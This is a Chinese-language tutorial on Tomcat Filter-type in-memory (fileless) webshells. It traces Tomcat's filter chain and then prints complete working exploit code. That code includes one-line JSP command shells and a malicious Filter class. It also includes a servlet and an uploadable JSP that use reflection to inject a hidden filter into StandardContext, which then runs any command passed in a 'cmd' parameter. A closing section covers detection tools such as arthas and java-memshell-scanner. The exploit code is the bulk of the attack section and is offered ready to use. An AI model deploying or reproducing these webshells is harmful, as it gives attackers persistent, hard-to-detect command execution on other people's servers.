目录
前言:
(一) 内存马简介
0X01 原理
0X02 内存马类型
2.1 servlet-api类
2.2 spring类
2.3 Java Instrumentation类
(二) filter 内存马
(三)Tomcat Filter 流程分析
0x01 项目搭建
0x02 在访问 /filter 之后的流程分析
小结:
0x03 在访问 /filter 之前的流程分析
总结调用过程
小结一下分析流程
(四)Filter 型内存马攻击思路分析
4.1 里面有三个和Filter有关的成员变量:
它有三个重要的东西:
构造思路
(五) Filter 型内存马的实现
Filter 型内存马 EXP
完整EXP:
(六)排查 Java 内存马的几个方法
0x01 arthas
0x02 copagent
0x03 java-memshell-scanner
参考资料
(一) 内存马简介
内存马是无文件Webshell,就是服务器上不会存在需要链接的Webshell脚本文件。
0X01 原理
- 利用Java Web组件:动态添加恶意组件,如Servlet、Filter、Listener等。在Spring框架下就是Controller、Intercepter。
- 修改字节码:利用Java的Instrument机制,动态注入Agent,在Java内存中动态修改字节码,在HTTP请求执行路径中的类中添加恶意代码,可以实现根据请求的参数执行任意代码。
0X02 内存马类型
目前安全行业主要讨论的内存马主要分为以下几种方式:
2.1 servlet-api类
- filter型
- listener型
- servlet型
2.2 spring类
- 拦截器
- controller型
2.3 Java Instrumentation类
- agent型
(二) filter 内存马
filter (过滤器),我们可以通过自定义过滤器来做到对用户的一些请求进行拦截修改等操作,下面是一张简单的流程图
从上图可以看出,我们的请求会经过 filter 之后才会到 Servlet ,那么如果我们动态创建一个 filter 并且将其放在最前面,我们的 filter 就会最先执行,当我们在 filter 中添加恶意代码,就会进行命令执行,这样也就成为了一个内存 Webshell
所以我们后文的目标:动态注册恶意 Filter,并且将其放到最前面
(三)Tomcat Filter 流程分析
在学习 Filter 内存马的注入之前,我们先来分析一下正常 Filter 在 Tocat 中的流程是怎么样的
0x01 项目搭建
- 自定义 Filter
import javax.servlet.*;
import java.io.IOException;
public class filter implements Filter{
@Override
public void init(FilterConfig filterConfig) throws ServletException {
System.out.println("Filter 初始构造完成");
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
System.out.println("执行了过滤操作");
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
- 然后修改 web.xml 文件,这里我们设置url-pattern为
/filter,
即访问/filter
才会触发
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
</web-app>
- 在pom.xml 里面加上 tomcat 的依赖库用于后续调试
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>9.0.55</version>
<scope>provided</scope>
</dependency>
0x02 在访问 /filter 之后的流程分析
流程分析之前,需要导入 catalina.jar 这个包,以及 tomcat-websocket 包。
- 导入完毕之后,我们在 filter.java 下的
doFilter
这个地方打断点。并且访问 /filter 接口:
- 这是因为我们已经新建了一个 Filter,所以会直接进入到
doFilter
方法,我们跟进去。
这里会进到 ApplicationFilterChain 类的
doFilter()
方法,它主要是进行了 Globals.IS_SECURITY_ENABLED 的判断,也就是全局安全服务是否开启的判断。这里最后会调用this.internalDoFilter
方法:
- 我们继续跟进去,这里是 ApplicationFilterChain 类的
internalDoFilter()
方法
其中这里的filter是从
ApplicationFilterConfig filterConfig = filters[pos++];
中来的,而filters的定义如下:
private ApplicationFilterConfig[] filters = new ApplicationFilterConfig[0];
现在我们其实是有两个 filter 的,如图
可以看到,0 是我们自己设定的 filter,1 是 tomcat 自带的 filter,因为此时 pos 是 1 所以取到 tomcat 的 filter。
- 我们继续往里走,这里就调用了 tomcat 的 filter 的
doFilter()
方法
- 跟进去,这里我发现用maven导入的tomcat环境没有这个tomcat-webscoket.jar包,得自己把包添加到依赖里面去
- 再往下走,会走到
chain.doFilter()
这个地方,我们会发现这一个方法会回到 ApplicationFilterChain 类的doFilter()
方法里面
这个地方实际需要理解一下,因为我们是一条 Filter 链,所以会一个个获取 Filter,直到最后一个。那么现在我们只定义了一个 Filter,所以现在这次循环获取 Filter 链就是最后一次。
- 在最后一次获取 Filter 链的时候,会走到
this.servlet.service(request, response);
这个地方
小结:
- 最后一个 filter 调用 servlet 的
service
方法- 上一个
Filter.doFilter()
方法中调用FilterChain.doFilter()
方法将调用下一个Filter.doFilter()
方法;这也就是我们的 Filter 链,是去逐个获取的。- 最后一个
Filter.doFilter()
方法中调用的FilterChain.doFilter()
方法将调用目标Servlet.service()
方法。- 只要 Filter 链中任意一个 Filter 没有调用
FilterChain.doFilter()
方法,则目标Servlet.service()
方法都不会被执行。- 至此,我们的正向分析过程就结束了,得到的结论是 Filter Chain 的调用结构是一个个
doFilter()
的,最后一个 Filter 会调用Servlet.service()
0x03 在访问 /filter 之前的流程分析
假设我们基于filter去实现一个内存马,我们需要找到filter是如何被创建的
我们可以尝试把断点下载最远的一处 invoke()
方法的地方,我们看到现在的类是 StandardEngineValve,对应的 Pipeline 就是 EnginePipeline
;它进行了 invoke()
方法的调用,这个 invoke()
方法的调用的目的地是 AbstractAccessLogValve 类的 invoke()
方法。其实这一步已经安排了一个 request, wrapper, servlet
传递的顺序。
- 接着是 AbstractAccessLogValve 类的
invoke()
方法,然后就是一步步调用invoke()
方法
总结调用过程
至此,invoke()
部分的所有流程我们都分析完毕了,接着继续往上看,也就是 doFilter()
方法。这个 doFilter()
方法也是由最近的那个 invoke()
方法调用的。如图,我们把断点下过去。如果师傅们这个 invoke()
方法可用的话,可以断点下这里,如果不可用的话可以下到后面 doFilter()
方法。
这里我们要重点关注前文说过的 filterChain 这个变量,那它是什么呢?
我们跟进
createFilterChain()
这个方法。使用ApplicationFilterFactory.createFilterChain()
创建了一个过滤链,将request, wrapper, servlet
进行传递。
我们在
createFilterChain()
方法走一下流程。这里从传入的request里面获取FilterChain,但实际上这个FilterChain是为空的里面没有filter,然后为其设置servlet等属性
然后从当前的context中获取一个FilterMaps数组,里面装了当前context中filter的属性,如名字和对应的url路径;如果为空则直接返回该FilterChain,否则就接着走:
使用循环去匹配filterMaps中的元素是否匹配上从传入的request中获取dispatcher和requestPath,匹配上的话则使用
context.findFilterConfig(filterMap.getFilterName())
从context中获取匹配上的Filter配置filterConfig,最后将该配置添加到filterChain对象中
这时候我们再进入 doFilter()
的方法其实是,将请求交给其 pipeline 去处理,由 pipeline 中的所有 valve 顺序处理请求。后续的就是我们前文分析过的 在访问 /filter 之后的流程分析
小结一下分析流程
1. 首先是 invoke()
方法
层层调用管道,在最后一个管道的地方会创建一个链子,这个链子是 FilterChain,再对里头的 filter 进行一些相关的匹配。
2. filterchain 拿出来之后
进行
doFilter()
工作,将请求交给对应的 pipeline 去处理,也就是进行一个doFilter()
—->internalDoFilter()
—->doFilter()
;直到最后一个 filter 被调用。
3. 最后一个 filter
最后一个 filter 会执行完
doFilter()
操作,随后会跳转到Servlet.service()
这里。至此,流程分析完毕。
4. 小结一下攻击的思路
分析完了运行流程,那应该对应的也思考一下如何攻击。
- 我们的攻击代码,应该是生效于这一块的
我们只需要构造含有恶意的 filter 的 filterConfig 和拦截器 filterMaps,就可以达到触发目的了,并且它们都是从 StandardContext 中来的。
- 而这个 filterMaps 中的数据对应 web.xml 中的 filter-mapping 标签
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/filter</url-pattern>
</filter-mapping>
</web-app>
所以后续的话,我们思考的是通过某种方式去触发修改它
(四)Filter 型内存马攻击思路分析
filterMaps 可以通过如下两个方法添加数据,对应的类是 StandardContext 这个类
@Override
public void addFilterMap(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.add(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}
@Override
public void addFilterMapBefore(FilterMap filterMap) {
validateFilterMap(filterMap);
// Add this filter mapping to our registered set
filterMaps.addBefore(filterMap);
fireContainerEvent("addFilterMap", filterMap);
}
StandardContext 这个类是一个容器类,它负责存储整个 Web 应用程序的数据和对象,并加载了 web.xml 中配置的多个 Servlet、Filter 对象以及它们的映射关系。
4.1 里面有三个和Filter有关的成员变量:
- filterMaps变量:包含所有过滤器的URL映射关系
private final ContextFilterMaps filterMaps = new ContextFilterMaps();
filterMaps 中的FilterMap则记录了不同filter与UrlPattern的映射关系
- filterDefs变量:包含所有过滤器包括实例内部等变量
private Map<String, FilterDef> filterDefs = new HashMap<>();
filterDefs 成员变量成员变量是一个HashMap对象,存储了filter名称与相应FilterDef的对象的键值对,而FilterDef对象则存储了Filter包括名称、描述、类名、Filter实例在内等与filter自身相关的数据
它有三个重要的东西:
一个是ServletContext,一个是filter,一个是filterDef
- 其中filterDef就是对应web.xml中的filter标签了
<filter>
<filter-name>filter</filter-name>
<filter-class>filter</filter-class>
</filter>
从org.apache.catalina.core.StandardContext#filterStart中可以看到filterConfig可以通过
filterConfigs.put(name, filterConfig);
添加
构造思路
通过前文分析,得出构造的主要思路如下
- 获取当前应用的ServletContext对象
- 通过ServletContext对象再获取filterConfigs
- 接着实现自定义想要注入的filter对象
- 然后为自定义对象的filter创建一个FilterDef
- 最后把 ServletContext对象、filter对象、FilterDef全部都设置到filterConfigs即可完成内存马的实现
每次请求createFilterChain都会依据此动态生成一个过滤链,而StandardContext又会一直保留到Tomcat生命周期结束,所以我们的内存马就可以一直驻留下去,直到Tomcat重启。
(五) Filter 型内存马的实现
我们先来看一下 JSP 的无回显马:
<% Runtime.getRuntime().exec(request.getParameter("cmd"));%>
接着我们看有回显马:
<% if(request.getParameter("cmd")!=null){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("cmd")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.print(new String(b));
}
out.print("</pre>");
}
%>
那么现在,我们要把这个恶意的有回显的马插入到 Filter 里面进去,也就是说要配置一个恶意的 Filter,代码如图
import javax.servlet.*;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.util.Scanner;
public class EvilFilter implements Filter {
public void destroy() {
}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws ServletException, IOException {
HttpServletRequest req = (HttpServletRequest) request;
HttpServletResponse resp = (HttpServletResponse) response;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[]{"sh", "-c", req.getParameter("cmd")} : new String[]{"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
resp.getWriter().write(output);
resp.getWriter().flush();
}
chain.doFilter(request, response);
}
public void init(FilterConfig config) throws ServletException {
}
}
- 记得先把 web.xml 中的filter配置修改为如下:
<filter>
<filter-name>filter</filter-name>
<filter-class>EvilFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>filter</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
本质上其实就是 Filter 中接受执行参数,但是如果我们在现实情况中需要动态的将该 Filter 给添加进去。
由前面Filter实例存储分析得知
StandardContext
Filter实例存放在filterConfigs、filterDefs、filterConfigs这三个变量里面,将fifter添加到这三个变量中即可将内存马打入。那么如何获取到StandardContext
成为了问题的关键。
Filter 型内存马 EXP
我们这里尝试分步骤理解一下 EXP,构造思路在上面,这里就不赘述了,画一个流程图方便师傅们理解一下
- 先是通过反射获取到 standContext对象和standContext中的filterConfigs
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
- 接着定义一个 Filter
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return; }
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
}
- 再设置 FilterDef 和 FilterMaps
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
最终将它们都添加到 filterConfig 里面,再放到 web.xml 里面
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");
完整EXP:
import org.apache.catalina.Context;
import org.apache.catalina.core.ApplicationContext;
import org.apache.catalina.core.ApplicationFilterConfig;
import org.apache.catalina.core.StandardContext;
import org.apache.tomcat.util.descriptor.web.FilterDef;
import org.apache.tomcat.util.descriptor.web.FilterMap;
import javax.servlet.*;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.io.InputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Map;
import java.util.Scanner;
@WebServlet("/demoServlet")
public class FilterShell extends HttpServlet {
protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
// org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (org.apache.catalina.loader.WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
// org.apache.catalina.webresources.StandardRoot standardroot = (org.apache.catalina.webresources.StandardRoot) webappClassLoaderBase.getResources();
// org.apache.catalina.core.StandardContext standardContext = (StandardContext) standardroot.getContext();
//该获取StandardContext测试报错
Field Configs = null;
Map filterConfigs;
try {
//这里是反射获取ApplicationContext的context,也就是standardContext
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
String FilterName = "cmd_Filter";
Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(FilterName) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null){
InputStream in = Runtime.getRuntime().exec(req.getParameter("cmd")).getInputStream();
//
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
return; }
filterChain.doFilter(servletRequest,servletResponse);
}
@Override
public void destroy() {
}
};
//反射获取FilterDef,设置filter名等参数后,调用addFilterDef将FilterDef添加
Class<?> FilterDef = Class.forName("org.apache.tomcat.util.descriptor.web.FilterDef");
Constructor declaredConstructors = FilterDef.getDeclaredConstructor();
FilterDef o = (FilterDef)declaredConstructors.newInstance();
o.setFilter(filter);
o.setFilterName(FilterName);
o.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(o);
//反射获取FilterMap并且设置拦截路径,并调用addFilterMapBefore将FilterMap添加进去
Class<?> FilterMap = Class.forName("org.apache.tomcat.util.descriptor.web.FilterMap");
Constructor<?> declaredConstructor = FilterMap.getDeclaredConstructor();
org.apache.tomcat.util.descriptor.web.FilterMap o1 = (FilterMap)declaredConstructor.newInstance();
o1.addURLPattern("/*");
o1.setFilterName(FilterName);
o1.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(o1);
//反射获取ApplicationFilterConfig,构造方法将 FilterDef传入后获取filterConfig后,将设置好的filterConfig添加进去
Class<?> ApplicationFilterConfig = Class.forName("org.apache.catalina.core.ApplicationFilterConfig");
Constructor<?> declaredConstructor1 = ApplicationFilterConfig.getDeclaredConstructor(Context.class,FilterDef.class);
declaredConstructor1.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) declaredConstructor1.newInstance(standardContext,o);
filterConfigs.put(FilterName,filterConfig);
response.getWriter().write("Success");
}
} catch (Exception e) {
e.printStackTrace();
}
}
protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
this.doPost(request, response);
}
}
- 先访问 /demoServlet 路径,会返回success字符,然后再访问任意路径传参即可:
- 如果文件上传的话应该是上传一个 .jsp 文件
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="org.apache.catalina.core.ApplicationContext" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.Map" %>
<%@ page import="java.io.IOException" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %>
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %>
<%@ page import="org.apache.catalina.Context" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%
final String name = "test";
// 获取上下文
ServletContext servletContext = request.getSession().getServletContext();
Field appctx = servletContext.getClass().getDeclaredField("context");
appctx.setAccessible(true);
ApplicationContext applicationContext = (ApplicationContext) appctx.get(servletContext);
Field stdctx = applicationContext.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(applicationContext);
Field Configs = standardContext.getClass().getDeclaredField("filterConfigs");
Configs.setAccessible(true);
Map filterConfigs = (Map) Configs.get(standardContext);
if (filterConfigs.get(name) == null){
Filter filter = new Filter() {
@Override
public void init(FilterConfig filterConfig) throws ServletException {
}
@Override
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
HttpServletRequest req = (HttpServletRequest) servletRequest;
if (req.getParameter("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}
String[] cmds = isLinux ? new String[] {"sh", "-c", req.getParameter("cmd")} : new String[] {"cmd.exe", "/c", req.getParameter("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner( in ).useDelimiter("\\a");
String output = s.hasNext() ? s.next() : "";
servletResponse.getWriter().write(output);
servletResponse.getWriter().flush();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {
}
};
FilterDef filterDef = new FilterDef();
filterDef.setFilter(filter);
filterDef.setFilterName(name);
filterDef.setFilterClass(filter.getClass().getName());
standardContext.addFilterDef(filterDef);
FilterMap filterMap = new FilterMap();
filterMap.addURLPattern("/*");
filterMap.setFilterName(name);
filterMap.setDispatcher(DispatcherType.REQUEST.name());
standardContext.addFilterMapBefore(filterMap);
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class);
constructor.setAccessible(true);
ApplicationFilterConfig filterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext,filterDef);
filterConfigs.put(name, filterConfig);
out.print("Inject Success !");
}
%>
<html>
<head>
<title>filter</title>
</head>
<body>
Hello Filter
</body>
</html>
(六)排查 Java 内存马的几个方法
0x01 arthas
项目链接:https://github.com/alibaba/arthas
我们可以利用该项目来检测我们的内存马
java -jar arthas-boot.jar --telnet-port 9998 --http-port -1
这里也可以直接 java -jar arthas-boot.jar
- 这里选择我们 Tomcat 的进程
- 输入 1 之后会进入如下进程
- 利用
sc *.Filter
进行模糊搜索,会列出所有调用了 Filter 的类?
- 利用
jad --source-only org.apache.jsp.evil_jsp
直接将 Class 进行反编译
- 同时也可以进行监控 ,当我们访问 url 就会输出监控结果
watch org.apache.catalina.core.ApplicationFilterFactory createFilterChain 'returnObj.filters.{?#this!=null}.{filterClass}'
0x02 copagent
项目链接:https://github.com/LandGrey/copagent
也是一款可以检测内存马的工具
0x03 java-memshell-scanner
项目链接:https://github.com/c0ny1/java-memshell-scanner
c0ny1 师傅写的检测内存马的工具,能够检测并且进行删除,是一个非常方便的工具
该工具是由 jsp 实现的,我们这里主要来学习一下 c0ny1 师傅 删除内存马的逻辑
检测是通过遍历 filterMaps 中的所有 filterMap 然后显示出来,让我们自己认为判断,所以这里提供了 dumpclass
删除的话,这里主要是通过反射调用 StandardContext#removeFilterDef
方法来进行删除
跟进一下
参考资料
Java内存马系列-03-Tomcat 之 Filter 型内存马